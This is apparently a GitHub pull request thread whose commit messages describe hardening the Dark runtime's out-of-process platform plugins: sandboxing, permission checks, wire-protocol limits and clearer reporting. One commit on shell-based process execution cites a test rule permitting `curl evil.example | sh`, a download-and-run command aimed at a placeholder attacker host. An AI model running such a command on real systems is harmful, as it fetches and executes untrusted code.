this store made of it. One frame back: the version the plugin speaks. A round
trip rather than an announcement, because a version mismatch found at startup
is one sentence, and found later is a corrupt frame in the middle of somebody's
program.

The table was already computed and thrown away: `Written.resolve` has to
resolve those names to build the manifest at all, and was discarding the
mapping the moment it had used it. It keeps it now, on `Manifest.types`. That
is the whole host-side change.

Worth saying for the pilot: `HttpClient` returns `Result<Response,
RequestError>`, so this and the blob table were each independently blocking it,
and neither was visible from the plan. They are not HttpClient problems. They
are what "a platform can be another process" actually costs.
A manifest declaring `httpClientRequest`, which `HttpClient` already provides,
installed without complaint. Every command after that failed at startup with an
internal exception, including the `platforms uninstall` that would have fixed
it. The only way back was hand-editing the install record in the policy
directory, which worked only because that file is deliberately plain text.

That is a shape worth naming: a state you can enter with a command and can only
leave by editing a file.

`PlatformSet.make` was right to raise, once. When every platform was LINKED, two
of them claiming a name was a build mistake decided before anybody ran
anything, and startup was the only useful moment to say so. An INSTALLED
collision arrives after the build, from a manifest somebody else wrote, and the
same rule then means an install nobody can undo.

So, three things:

- Refused at INSTALL, where a person is standing and can act on it:
  "'httpClientRequest' is already provided by HttpClient, and two platforms
  cannot claim one name". Nothing is written.
- Skipped at STARTUP if it gets there anyway, one platform at a time. That
  happens when a build grows a name an older install already had.
- And the skip is VISIBLE. `dark platforms` now prints what is installed but
  not running, with the reason. The list was already being collected and
  nothing read it, which is precisely the failure its own comment warned
  about: an instance that boots fine and quietly has fewer platforms than you
  think.

Shadowing was never an option, tempting as it is for "swap the built-in HTTP
client for a sandboxed one". A builtin somebody trusts quietly becoming
somebody else's code is worse than any error message, and a manifest cannot
tell that intent apart from a mistake. If replacement is ever wanted, a person
has to ask for it out loud.
`Fetch` is a few dozen lines of Python that know the wire and nothing else. It
reads a method, a url, a list of header pairs and a blob, makes the request, and
hands back a real `Stdlib.HttpClient.Response`. Everything the last three
commits built is load-bearing: the blob table carries both bodies, the handshake
supplies the `Result` and `Response` hashes, and the install refuses to collide
with the linked platform.

    $ dark platforms Fetch
    Fetch@0  81cd58d1862b3fb8  (on)
      Outbound HTTP, in a process that is not the runtime.
      reaches   http
      provides  1 builtin

    $ dark eval '... Builtin.fetchRequest "GET" "https://example.com" [] ...'
    status 200, 559 bytes, headers: Date, Content-Type, Transfer-Encoding, ...

A POST with a header and a body, aimed at a Dark server that hashes what it
receives, comes back with the hash of what was sent.

It is a pilot, not a replacement. `Fetch` cannot claim `httpClientRequest`, so
package code calling `Stdlib.HttpClient.request` still reaches the linked
platform. Replacing a linked one needs a build that does not link it, or a
person asking for replacement out loud, and that is a separate question from
whether a platform can live outside at all.

The numbers, and what they actually say:

    wire, one string in and out      47 us/call
    Fetch against a local server   2460 us/call
    linked HttpClient, same server  440 us/call

Read quickly that says out-of-process HTTP is five times slower. It says nothing
of the kind. Python's own pooled `http.client` makes the same call in 2033 us
with no Dark anywhere in it, so the wire is 47 us and the rest is the plugin's
language. A plugin with a fast HTTP client lands at the linked number plus 47.

Connection pooling was worth 700 us/call, and finding that out mattered more
than the saving: without it the wire would have taken the blame for 3 ms that
were not its fault, and the pilot would have read as "too expensive for HTTP".
A platform that reaches the network has to pool, exactly as the platform beside
it does.

47 us rather than step 0's 22 us, and the difference is real work: dispatch by
name instead of by index, the blob table both ways, and the full builtin call
path including the effect gate. It changes no decision. Coarse builtins qualify
and fine-grained ones do not, which is what step 0 said, and a network round
trip is two orders of magnitude bigger than either number.
The payoff, and the only thing a separate process buys that nothing else can.

A platform's declared effects were a claim the gate checked before every call.
They now also confine the process: one that never mentioned the network is
started in an empty network namespace, so its executable cannot phone home
whatever its own code says.

    $ dark platforms EchoPlatform
      reaches   acme/serial
      confined  no network: it never asked for one

    $ dark platforms Fetch
      reaches   http
      confined  not confined: it asked for the network, so it is given one

Proved by asking rather than by reading. The echo fixture tries to open a TCP
connection and gets errno 101, ENETUNREACH, which is what an empty namespace
gives and specifically not what a timeout or a DNS failure gives; asserting on
the errno is what stops the test passing vacuously on a machine with no
network. `Fetch`, in the same session, gets a 200.

Mechanism: `unshare --map-current-user --net`. No privileges, no daemon, no
binary to install. `--map-current-user` rather than `--map-root-user`, because a
user namespace is needed before a network namespace is allowed and the process
does not need to be root inside it.

What it does not do, said plainly: not the filesystem, which needs mount
namespaces and a root to pivot into; not syscalls, which need seccomp installed
between fork and exec, and `Process.Start` offers no hook there. Both are real
and both are larger than this.

Fail visible, not fail closed and not fail silent. A platform that cannot be
confined on this machine still runs, and the line says why. Refusing would make
the feature unusable on macOS. Running and saying nothing would let somebody
believe in a sandbox they do not have, which is much the worse failure.

A platform declaring `native` gets no sandbox and is told so. That is the same
answer the policy layer already gives: no rule can honestly confine something
that can reach anything, and a namespace is no more honest than a rule.

Which settles `Sqlite`, the platform I would have moved out first. It is the one
that must declare `native`, so it gets no confinement anyway, while its calls are
tens of microseconds and would pay the 47 us hop on every name resolution. The
rule of thumb inverts: a platform belongs in another process when its calls are
already expensive and its effects are narrow enough for a namespace to mean
something. `HttpClient` is both. `Sqlite` is neither.
`LocalExec platforms doors`. The tightening report asks what each platform
reaches; this asks how many builtins reach each effect, and from where, widest
first. Widest first because the widest effect is the one whose policy rules mean
the least: an effect reached by two builtins is nearly grantable per door, one
reached by dozens is a category and a rule over it can only say yes or no to all
of it.

It also counts how many builtins declare no effect at all, because "how much of
this is not a door" is half the answer and the half that is easy to forget. That
share is large: most of the surface is arithmetic, string handling and list
manipulation. "The builtin count is too high" and "the door count is too high"
are different problems, and only the second one is about access.

What it shows is what the plan guessed and could not prove: `package-read` is by
a wide margin the widest effect, reached from five separate platforms, with
`package-write` not far behind. The store machinery is the surface. Everything
an operating system would call dangerous, files and processes and the network
and the environment, is a much smaller set than the vocabulary Dark uses to talk
about its own code.

Which retargets the "get to the compiler's twelve intrinsics" item. That is not
a number the interpreter walks toward by trimming `Files` and `Process`, which
are already small. Closing the gap means the store's own vocabulary, which
belongs with the store rather than in a platform round.
Following the doors report into its own widest answer. `package-read` turns out
to be four things wearing one name: resolving a name to code, which is why
`Store` is always on; browsing the corpus, which a running program never needs;
SCM and branch state; and a handful that are not package reads at all.

The last group looked like holes. `localDbBackupTo` writes this instance's whole
store to a path the caller names and declares `package-read`, an effect granted
by default because name resolution needs it. `configGet` reads instance config
under the same effect.

They are not holes. They are gated by CALLER TRUST, `requireBundledCaller`,
which refuses anything whose call chain includes a package that did not ship
with the binary.

So the finding is an asymmetry rather than a hole. Effects are declared, checked
before the body runs, printed by `dark permissions`, and carried in a manifest.
Caller trust was a call inside a body and appeared in none of those places.
Someone reading what `Instance` reaches saw `package-read` and had no way to
learn that two of those builtins refuse a pulled package outright.

It is a list now, printed under the doors report, with a test that greps the
source for the calls and compares. Verified the way a pin should be: by adding a
name no builtin uses and watching it fail, not by trusting a green run.

It stays caller trust rather than becoming an effect, because both cases would
have to declare `native` to be honest: a backup path is any path, and the sync
transport reaches loopback and the tailnet. `native` is all or nothing, so a
stock install would need `allow native` before `dark sync` worked. Caller trust
is the narrower answer. It just has to be one you can see.

Also adds `LocalExec platforms doors <effect>`, which lists every door to one
effect with its signature. The summary truncates, and the effect worth splitting
is always the one whose list was too long to print.
Two gaps in my own work, both the kind that only show up much later.

The shipped `fetch.manifest` names `Stdlib.HttpClient.Response` and
`Stdlib.Result.Result` symbolically and resolves them against whatever store
installs it. That is the design working, and it is also how a shipped manifest
rots: rename either type and the manifest silently stops resolving, with nothing
to notice. There is a test now, and it checks the resolved type table is
non-empty, since an empty one means the plugin gets no hashes and can only
answer with primitives.

Verified by renaming a type in the manifest and watching it fail, rather than by
trusting a green run.

The sandbox plan gets a test over its three branches, the important one being
that a platform declaring `native` gets no wrapper and says "not confined". A
namespace that reads as more than it is would be worse than none.
The door count, in the command people already run to see what a build has,
rather than a report I run.

It needed `effects` on the Dark `BuiltinFunction`, and that was the real gap.
Platform-level effects already reached Dark, but a platform's list is the union
of its builtins', so it says `Files` reaches `file-write` and not which four
functions are the reason. Per-builtin is the granularity the question is
actually asked at.

A builtin reaching two effects is listed under both, because it is a door to
both; counting it once under whichever came first would undercount exactly the
functions worth looking at. The total is de-duplicated separately, since summing
the groups would report more builtins than exist. The summary says how much of
the surface is a door at all, which is the encouraging half of the number and
the half that disappears if you only print the groups.

An installed external platform's builtins turn up in the same listing under the
same effects. Not something I built for; it falls out of the composed set being
what the listing reads. Worth noticing, because it means the out-of-process half
is not a separate world with its own commands.

`BuiltinFunction` is pinned but not hardened, so this is an ordinary reload. The
hardened list is short on purpose, and this is a decent demonstration of why:
the things that are hardened are the ones where a move should stop you.
…omments

Two tidying passes over this round's own work.

The trust list moved from `Platforms.Sets` to `PermissionCheck`, beside
`callerIsBundled`. It is not a fact about which platform ships what; it is a
runtime trust mechanism, and it belongs with the mechanism. That also puts it
below the catalog, where everything that needs to read it can.

Which made the remaining gap obvious. The dev report printed the trust-gated
builtins and `dark builtins`, the command a person actually runs, did not.
Having just argued that an invisible gate is the problem, leaving it visible
only in a tool I run would have been the same mistake one level up. They are
marked `*` in the listing now, always rather than behind a flag, with a legend
that only appears when something on screen carries the mark. A second gate you
have to ask for is a second gate nobody knows to ask about.

Separately, a grep for point-in-time language in this round's comments. Three
said "before this existed" or named a count that will move. All the same
mistake: describing the change rather than the thing, which reads as noise to
someone who has no idea which commit is meant.

One older one turned up with them, on `Sets.cli`: "currently the whole
catalog... the same answer today". The temporal words were carrying the meaning
there, which is why they survived the last pass. Stated structurally instead:
two questions that happen to share an answer, only one of which is expected to
shrink. Same meaning, no clock in it.
New network-facing surface with an auth decision in it, and nothing in the suite
touched it. The scratch script that proved it worked is not a test.

The refusals are the half worth asserting and the half that needs no store: a
hash that is not a hash is a 400 rather than a 404; upper-case hex is refused
too, since the store files blobs in lower case and accepting it would be a 404
for bytes the relay is holding; a well-formed hash nobody has is a 404; and
`POST /blob` with no secret configured is a 401. Called as functions, no socket.

The 200 path is deliberately not in that tier. Its package manager answers None
for blob reads and drops blob writes, so a round trip there asserts that the
handler returns what the store gave it, which is 404, and would keep passing if
the endpoint stopped serving bytes entirely. A test that cannot fail for the
reason you care about is not coverage, so the comment says so and points at
where the real round trip is.

Found by writing it rather than by reading the harness: the write appeared to
succeed and the read came back empty, which is what a no-op `persistBlob` looks
like from outside. A store that accepts everything and holds nothing fails
silently in the direction of green.
`dark platforms` prints what is installed but not running, with the reason. Then
typing that name answered "No platform named 'ClashProbe' in this build", which
is the listing contradicting itself one command later.

Two different facts had been collapsed into one. "You do not have that" and "you
have it and it is not running" are different answers, and the second is what is
being asked for at that moment: you read the name in the skipped section and
typed it to find out more.

    ClashProbe is installed, but is not running in this session.
        fn httpClientRequest@0 is already provided by HttpClient
        Nothing it provides is callable until that is resolved.

Worth noting how this got here. Making the skip visible in the listing was the
fix for an invisible failure, and it created a new inconsistency one command
over. A fact surfaced in one place is not surfaced; every path that answers a
question about that fact has to know it.

Third time this round for the same shape: activation had to learn about
installed platforms, the trust list had to reach the user-facing listing and not
only the report, and now the detail view has to know what the listing knows.
`dark platforms help` said "Every binary links all of them". True when it was
written, false as of this round: an installed external platform is not linked,
it is another process, which is the whole point of it.

The same claim was in the module header, in different words. Neither reads as
wrong, which is the bad kind of wrong: it renders fine and teaches the wrong
model. Nothing pointed at either one, because prose has no type checker and the
help kept printing correctly through a dozen edits to the same file.

The help also gains the thing worth knowing, which was only in a commit message
until now: what a platform declared is also what confines it, and `platforms
<Name>` says so on its `confined` line. A feature that appears only in a commit
message is a feature nobody has.
`platforms tighten` ends with the builtins that are `Impure` and declare no
effects. That is the shape an under-declaration takes, and it is the list to
read when you want to find one.

It was dominated by entries that are correct and always will be. `List.map` is
`Impure` because the lambda it is handed may be, not because mapping reaches
anything, and every higher-order function and stream combinator is in that
category. Together they were most of the list, so the entries that are real
questions sat in the middle of them unread.

Split by whether the builtin takes a function anywhere in its parameters, which
is exact rather than a heuristic: that parameter is the reason those entries are
impure. The lambda group is one line at the bottom now, named as correct so
nobody re-audits it.

What is left is short enough to read, which was the original claim about this
list. It holds the sqlite builtins, which decide in the body on purpose, and
things like `configSet` and the stream primitives, which say they reach nothing
and plainly do something. Those are the real backlog, and they were already
flagged: nothing was hidden, it was just unreadable.

A report that is technically correct and nobody reads is not a report. The fix
was not more information, it was less, arranged so the part with a question in
it is on its own.
`dark platforms` listed installed external platforms inline with linked ones,
with nothing to tell them apart. That was deliberate: a linked platform and a
spawned one look the same, so an external one is not presented as second class.

The symmetry was the right instinct about STATUS and the wrong answer about
PROVENANCE, which is what a person is actually asking. "Which of these run
somebody else's executable on my machine" is a fair question and had no
glanceable answer; the detail view distinguished them only by implication, since
only a process has a `confined` line.

    EchoPlatform@0  4 fns  [acme/serial]  *
    Fetch@0  1 fn  [http]  *
    Files@0  9 fns  [file-read file-write]

    * runs as a separate process, from a platform you installed

The names come from the install record, not from the artifact hash: a platform
can be external and ship nothing for this machine, and it is still not part of
this binary. Read once for the whole listing rather than per row, since it is a
file read behind a builtin.

The legend prints only when something on screen carries the mark. A legend for a
glyph nobody saw is noise on every run of the common case, which is an instance
with nothing installed.
`Random` was one idea at eleven widths. `Int8` through `UInt32` are now Dark over
`int64Random`, and `UInt64` is Dark over `intRandom`. Every public signature is
unchanged; what moved is where the width arithmetic lives.

No distribution changes. The trap here is modulo bias, and it is only reachable
if the primitive hands back raw bits. It does not: `int64Random` calls
`.NextInt64(range)` and `intRandom` draws over BigInt with rejection, so both are
already uniform over an inclusive range. Dark that widens its bounds, calls one,
and narrows the result never does the reduction itself.

It landed at four doors rather than the three I predicted, and the extra one is
the reason to have read the implementations. `listRandomElement` does NOT move.
It draws from the CRYPTOGRAPHIC RNG while every numeric variant draws from a
seeded `System.Random`. Reimplementing it as "random index, then getAt" would
have swapped one for the other with every signature identical and nothing
anywhere to notice. Same effect, same platform, different guarantee.

`UInt64` is the width that proves the design: its top half is above `Int64.max`,
so a path that widened bounds to `Int64` could not represent them at all. One
width on a different primitive from its siblings looks like an inconsistency and
is the opposite.

Verified by asking rather than by reasoning. Bounds hold for every width; an
`Int8` range of eleven values produces all eleven, so it is neither stuck nor
piled on an endpoint; and the `UInt64` top half draws two hundred distinct values
inside its bounds, which is exactly the case the widening shortcut would have
broken.

Each Dark implementation narrows back to its own width and must handle a `None`
that cannot occur, since the value came from a range whose endpoints are values
of that type. The fallback is `start` rather than zero, so even the impossible
answer is inside the range asked for. Adds `UInt64.fromInt`, the only conversion
into that type from something wider, which is why `random` needs it.
The `random` effect covers a cryptographic generator and a seeded one, and
nothing told a caller which they had. `List.randomElement` and `Uuid.generate`
draw from the system generator; every numeric draw goes through a `System.Random`
seeded per call, which makes it unpredictable but narrow, about 31 bits of
entropy however wide the return type.

Both sides now say so. The builtin descriptions are what an implementer reads;
the Dark wrapper docs are what a caller reads, through `dark search --with-docs`
and hover.

I wrote it in the builtin descriptions first and then checked where a person
actually meets the text. `dark builtins --with-sigs` prints signatures and not
descriptions, so that version was reaching nobody. "I documented it" is a claim
that somebody will encounter the words, not that a file contains them, and the
difference is worth checking rather than assuming.

Both directions, not only the warning. The numeric draws say they are not
cryptographic and roughly how narrow; the other two say they are, and that it
costs speed. A note that only ever warns teaches people that unannotated means
safe.

What this does not do: the policy still cannot tell the two apart, since both
declare `random`, so a rule granting it grants both. Splitting the effect would
fix that and costs a case in the `Effect` union, which moves a hardened package
ref and rehashes the corpus. That is a decision about the vocabulary rather than
a tidy-up.
Carried the method that found the RNG split to the other effects: read what
every builtin under one effect actually does, and see whether the effect covers
more than one kind of thing. `clock` came back clean. `process` did not.

`Cli.execute` does not run a process. It runs `$SHELL -c <command>`, falling
back to `/bin/bash`, so pipes, globs, `;` and `$(...)` all work. That is usually
why you want it, and it makes a command built from untrusted input a command
injection. The description said, in full, "Runs a process; return exitCode,
stdout, and stderr".

Which made the permission rule mean something other than it reads. The request
the policy sees names the SHELL and carries the whole command line in its
arguments, and a rule naming an executable and nothing else scopes its arguments
to `All`. So `allow process /bin/bash` permits every command bash can run. That
default is right for `allow process /usr/bin/git`, written by hand, and wrong
here.

And `suggestRule` was handing people that grant. Its own doc promises "the
NARROW `permissions allow <rule>` text that covers this request", and for a
process it returned the program alone, so at the moment somebody decides whether
to trust a spawn it offered a grant far wider than the thing being asked about.
Every other case includes the specific resource: the URL, the path, the variable
name. This one includes the argv now.

Two tests pin it: the benign case, and a shell rule permitting
`curl evil.example | sh`, which is the behaviour that was always there and is
now written down. The descriptions on both sides say "THROUGH A SHELL" and point
at `Posix.spawnAndWait` for when you do not want one.

The cost, rather than glossing it: a narrower suggestion means somebody running
two different git commands is asked twice. That is the correct price of a grant
that means what it says, and the wide form is one edit away.

Nothing here was broken. Every function did what its implementation said, the
tests passed, and rules matched correctly. The defect was entirely in what the
words led a person to believe, which is the only place a permission system can
really fail: it exists to help somebody make a decision, and a correct machine
that describes itself wrongly makes that decision worse than no machine would.
A platform in another process declaring a SCOPED effect got that effect with
the policy never consulted. My own work, this round.

Found by accident while auditing something else. My instance policy ended in
`all`, which is not the shipped default; removing it to see real behaviour is
what exposed this. On the default policy the LINKED `HttpClient.request` was
correctly refused, and the EXTERNAL `Fetch` platform, declaring `effect http`,
returned 200.

The mechanism is nobody's mistake but mine. The interpreter's ambient gate skips
scoped effects on purpose, and its comment says why: a linked builtin's body
builds an `Operation` naming the resource, and the host boundary checks that
instead. That reasoning is right and has one unstated premise, that there is a
body. An external platform has none. It performs its own I/O inside its own
process, the boundary is never reached, and the skip becomes a bypass. I added
that path and never asked what the gate above it assumed.

`Request.WholeEffect` asks the only question that can be answered honestly. The
host never learns which URL the platform will fetch, so no narrow rule can be
checked against it; this asks whether the whole effect was granted. `allow http`
and `all` satisfy it. `allow http GET 'https://example.com'` deliberately does
not, because nothing would hold the platform to that URL.

    external Fetch, default policy:  denied. To allow: `permissions allow http`
    external Fetch, allow http:      200
    linked HttpClient, narrow rule:  200
    external Fetch, narrow rule:     denied

The asymmetry is the right outcome rather than a wart. A linked platform can be
held to one host; an external one can only be granted the network entire. That is
a true statement about what running somebody else's process costs, it belongs
where somebody deciding can see it, and it gives a real reason to prefer a linked
platform for a scoped effect that I could not argue before.

The sandbox never covered this. A network namespace already stopped a platform
that never declared `http`, and could never have stopped one that declared it and
was not granted it, because confinement is built from the DECLARATION and the
policy is what decides whether the declaration is honoured. Two mechanisms, two
questions; I had been treating the first as though it covered the second.
Following the last fix with its general form: what else does the
described-platform path assume that the linked path provides? A throwaway
platform that lies about its return type in four ways, and asked.

Three were caught cleanly. An `Int64` where a `String` was promised: refused,
naming both types. A `List<String>`: refused. A tag the decoder does not know:
refused at decode, with the tag number.

The fourth was not. A `DDB` sent where a `String` was promised type checks,
because `Dval.toValueType` maps `DDB` to `ValueType.Unknown` and Unknown unifies
with everything. That mapping is honest rather than sloppy: a table name carries
no element type, so the runtime genuinely cannot say what a `DDB` is. It means
"I cannot tell". For a handle this runtime minted, that is harmless. For one
arriving from outside, it is exactly the wrong default.

The impact is confusion rather than escalation, checked rather than assumed:
using the forged handle fails, because the name is looked up in the program's own
database set and is not there. So it is not a route to a database you were not
given. It is a route to `Arg_KeyNotFound`, a raw .NET exception, surfaced to
somebody who called a function that promised a string.

The fix is a principle this design already had, applied where I had not. A `DDB`
names a resource here; a `DApplicable` names code here. Neither was handed to the
platform and neither can be, so either arriving is a forgery rather than an
answer. The wire refuses both, for the same reason it refuses `DStream`: what
cannot honestly cross does not cross. It is the same rule as host-minted handles
for raw descriptors, decided long ago, which I did not think to apply to values
coming back.

Recursive, because a shallow check is one you walk around by wrapping the value
in a list. Incoming only: a signature that could carry a handle OUT is already
refused at install by the `travels` check. That asymmetry is correct rather than
an oversight, since outgoing is governed by a signature this runtime approved and
incoming is governed by nothing but the wire.
The description listed "a wedged platform must not wedge the CLI" as open, and I
had been reading my own crash handling as covering it. A platform that sleeps
proves otherwise in one command: the call never returned and `timeout 40` had to
kill the CLI.

Three failures, two of which were handled. A platform that CRASHES closes its
pipe and the read ends early, which the spike found. One that dies MID-ANSWER
returns a short buffer without raising, caught by comparing against the promised
length. One that goes SILENT, alive and never replying, blocked forever. The
first two announce themselves; the third is the absence of an event, and an
absence is not something a `try` catches.

The read cannot be cancelled: a pending read on a Unix pipe does not observe a
token, so waiting on a task and abandoning it would leak a thread for the life of
the CLI. Killing the process closes the pipe and lets the stranded read fail on
its own, so the kill is the remedy rather than a cleanup after one.

The deadline is not a service level and the comment says so. A number short
enough to be a useful responsiveness guarantee would also cancel legitimate slow
work, and nothing here can tell a slow platform from a stuck one: `Fetch` making
a real request looks exactly like `Fetch` hung on a socket. So it is minutes,
deliberately too long for anything except the job it has.

The test takes its own deadline, because proving that waiting ends should not
mean waiting the shipped amount. It asserts the call returned and named the
platform, not that it was prompt.

Worth recording how the old wording went wrong: "a wedged platform gets dropped
and restarted on the next call, which is cheap and not the same as being
handled". True of a crash, reads as though it covers a hang, and I believed it
until I wrote a platform that sleeps. A sentence that is true about the case you
tested is the most comfortable kind of wrong.
Following the deadline into the next question: what else in a frame does the
platform choose and the host believe? The first field.

Everything after the length prefix was read on the platform's say so, unbounded.
A platform announcing a frame far past anything sensible got that much read; the
reader had no opinion about whether the number was reasonable, because the number
is what tells it what reasonable means.

The negative case is worse than the large one and is the one that bit. A length
of -1 is not a size, and what happens next is whatever the reader does with
nonsense. Here it hung: the call never returned and a ninety second timeout had
to kill the CLI. Refused now, with the number in the message.

Bounded at sixty-four megabytes, chosen to be obviously unreached: far above any
answer and far below anything that hurts. A platform with more to say than that
should hand back a blob reference, which is what the table beside the payload is
for.

One measurement I made badly, recorded because the shape is worth recognising. I
tried to show the cost of the unbounded case with `/usr/bin/time -v` and read a
small resident size as evidence nothing was allocated. The CLI runs through a
container, so that number described the docker client, not the process doing the
reading. Real figure, wrong process, and more convincing than a guess would have
been.

What demonstrates it needs no measurement: with the bound raised above the
announced length the host sits waiting for bytes that never come, and with the
bound in place it refuses in under three seconds. That is what the test asserts.
Last of the sweep over what a platform can do that its manifest does not
mention. Its stdout is the pipe; its stderr was nobody's, so it went straight to
the terminal. A platform declaring one custom effect and no `stdout` painted the
screen red, with escape sequences intact.

Not a contradiction in the effect system so much as a gap beside it: effects
describe what a platform's BUILTINS may do, and a process has a file descriptor
either way.

Unattributed output is a spoofing surface rather than only noise, since escapes
can clear the screen, move the cursor, or draw something that reads as a question
from this program. Every line is prefixed with the platform's name now, and
escape sequences are removed WHOLE.

Whole, because dropping the escape byte alone leaves its tail as literal text: a
coloured line arrives as `[31mhello[0m`, which is safe and reads like a bug in
this code. I shipped that version for about ten minutes before looking at the
bytes.

Not discarded, which was the other option. A platform author debugging a plugin
has nowhere else to look, and silence would be paid for by exactly the person the
feature exists for.

It paid for itself within the hour. The end-to-end demo then failed, and the
reason was a line the child had been writing all along that nobody could see:
`unshare: failed to execute ...: No such file or directory`. Before this, that
went to a terminal nobody was reading and the host reported only a broken pipe.

The failure underneath was the permission system working. The demo had been
relying on an instance policy that was wide until today. On a default policy it
needs four grants, each refusal accurate and specific: binding a port, reading
the relay's own write secret from the environment, and `package-write` to store
what was pushed. They are in the scratch script now with a line saying why.

Worth stating on its own, because it is a deployment fact nobody has written
down: a stock instance cannot accept relay writes without an explicit grant.
Serving reads needs nothing; accepting writes is a decision.
Pulling the loose end from the last commit: what a relay operator actually saw.

When an HTTP handler raises, the server turned the error into a `DString`. The
layer above then saw a `String` where a `Response` was expected and did exactly
what it should with that: reported a type mismatch, quoted the value, and
explained at length what a `Response` looks like.

So the real message, "permission denied by instance policy: reading env
`DARK_MATTER_WRITE_SECRET` is not allowed. To allow: ...", arrived quoted inside
a paragraph about record fields, and truncated. The one line carrying both the
diagnosis and the fix was the least prominent text on screen.

A handler that raised and a handler that returned the wrong type are different
failures and should not read alike. The raise now produces an actual `Response`
with status 500 and the error as its body, so the layer above has nothing to
misreport:

    $ curl -X POST .../blob
    Handler error: Uncaught exception: permission denied by instance policy:
    reading env `DARK_MATTER_WRITE_SECRET` is not allowed. To allow:
    `permissions allow env read 'DARK_MATTER_WRITE_SECRET'`.

No new disclosure: the error text already reached the client, inside the type
complaint. This changes how it reads, not who sees it. Worth checking rather
than assuming, since "make the error clearer" is exactly the change that quietly
starts leaking internals.

Both layers were behaving correctly, which is why this survived. The server is
right to turn a raise into a value; the HTTP layer is right to complain about a
value that is not a `Response`. The defect lived in the join, where a deliberate
signal from one layer was indistinguishable from a mistake to the other, and
neither file looks wrong when you read it alone.
`dynamicEffects` says what the server may request from inside its body when
request logging is on, and its comment said "keep it equal to the set passed to
`requireBuiltinEffectsWithAccess` above". Two equal-looking literals in one file,
held together by a sentence.

The existing test does not cover it and looks as though it does.
`declaredEffectsMatchReality` compares each platform's declared surface against a
promise table, so a body that starts requesting something new, with
`dynamicEffects` left alone, changes neither side and the test still passes. It
checks the declaration against the promise, not the declaration against the body.

The drift would go the wrong way, which is why it matters. A platform's
advertised surface understating what it may do is the direction that costs
somebody something: a person reading `dark platforms HttpServer` before deciding
to run it would see less than the truth.

The body asks for the binding now, so the two cannot disagree. Better than a test
that catches disagreement, because there is nothing left to disagree.

`Sqlite` already does this correctly and has a test besides. Worth noticing that
the file with the careful comment was the one that drifted and the file with the
test was not.

Fourth time today for this shape: the first-party trust list, the
interpreter/compiler grid, the always-on platform list, and this. Each is a fact
written down twice with prose asking somebody to keep the copies equal. The
lesson is not "add a test" but that the best of the four stopped being two facts.
Everything this round learned about running somebody else's process lives in
commit messages, which is the wrong place for it. The person who needs it is
whoever next adds to the described-platform path, and they will be reading
`PlatformSpawn`.

The module doc now says what the host assumes about a platform, which is
nothing. It may lie about its return type, mint a handle into this runtime,
crash, die mid-answer, go silent, announce a frame length that is nonsense, and
write to a terminal it never declared. Each was a real hole before it was a rule,
and the list says so, because a defence whose reason is forgotten is a defence
somebody removes.

It also says what the host does NOT defend against, which matters more: a
platform that declares an effect, is granted it, and then abuses it. A platform
granted the network may talk to anyone. Nothing here can stop that, and seven
protections listed without saying where they stop would leave a reader more
confident than the code deserves.

Checking the list against the tests found one claim resting on probes I had
since deleted: that the type checker catches a platform lying about its return
type. It does, and now a test says so. Writing the guarantees down paid for
itself before anybody else read them.

The last line is the one to keep. Ask what the machinery ABOVE the thing you are
adding assumes. Every hole in that list came from not asking: the effect gate
skips scoped effects because a linked builtin's body checks them instead, and the
type checker trusts `toValueType`, which answers honestly for values this runtime
minted. Both assumptions are correct, and both are invisible at the point where
they stop holding.
The commit after the one that wrote it added `aDescribedBuiltinResolvesByName`,
which parses `Builtin.acmeReadTag ()` under a state whose catalog carries the
described platform and gets the right answer. The comment above the other tests
was left saying the opposite, in the same file.
Seven lessons the platform work paid for, none of them specific to platforms:
source-text greps are where every wrong number came from, measure before
building, a check can cost more than what it checks, sweep rather than sample,
read the artifact end to end once, break each test on purpose, and write the
contract where the next person stands.

They were in a working note that has been folded away. This is where they get
read.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant